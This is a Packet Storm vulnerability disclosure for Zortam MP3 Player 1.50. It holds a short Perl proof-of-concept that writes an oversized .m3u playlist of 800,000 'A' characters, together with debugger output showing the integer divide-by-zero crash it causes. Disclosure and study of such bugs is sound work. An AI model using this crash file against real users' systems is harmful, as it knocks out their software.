Zortam MP3 Player 1.50 Division By Zero

2009-07-17T00:00:00
ID PACKETSTORM:79316
Type packetstorm
Reporter LiquidWorm
Modified 2009-07-17T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
#  
# Title: Zortam MP3 Player 1.50 (m3u) Integer Division by Zero Vulnerability  
# Product Web Page: http://www.zortam.com  
# Tested On: Microsoft Windows XP Professional SP3 (English)  
#  
#  
###===---  
#  
# (1c0.7f8): Integer divide-by-zero - code c0000094 (first chance)  
# First chance exceptions are reported before any exception handling.  
# This exception may be expected and handled.  
# eax=0000000d ebx=0019be80 ecx=00000000 edx=00000000 esi=0180f5dc edi=0000000a  
# eip=0040f294 esp=0012f588 ebp=0180f570 iopl=0 nv up ei pl nz ac po nc  
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212  
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for zPlayer.exe -   
# zPlayer+0xf294:  
# 0040f294 f7f9 idiv eax,ecx  
#  
###===---  
#  
#  
# Vulnerability Discovered By Gjoko 'LiquidWorm' Krstic  
# liquidworm gmail com  
# Zero Science Lab - http://www.zeroscience.org  
# 16.07.2009  
#  
  
$fle = "Kung_PoW.m3u";  
$mna = "A" x 800000;  
print "\n\n[+] Creating playlist file: $fle ...\r\n";  
sleep 1;  
open(m3u, ">./$fle") || die "\n\aCannot open $fle: $!";  
print m3u "$mna";  
close (m3u);  
print "\n[+] Playlist file successfully created!\r\n";`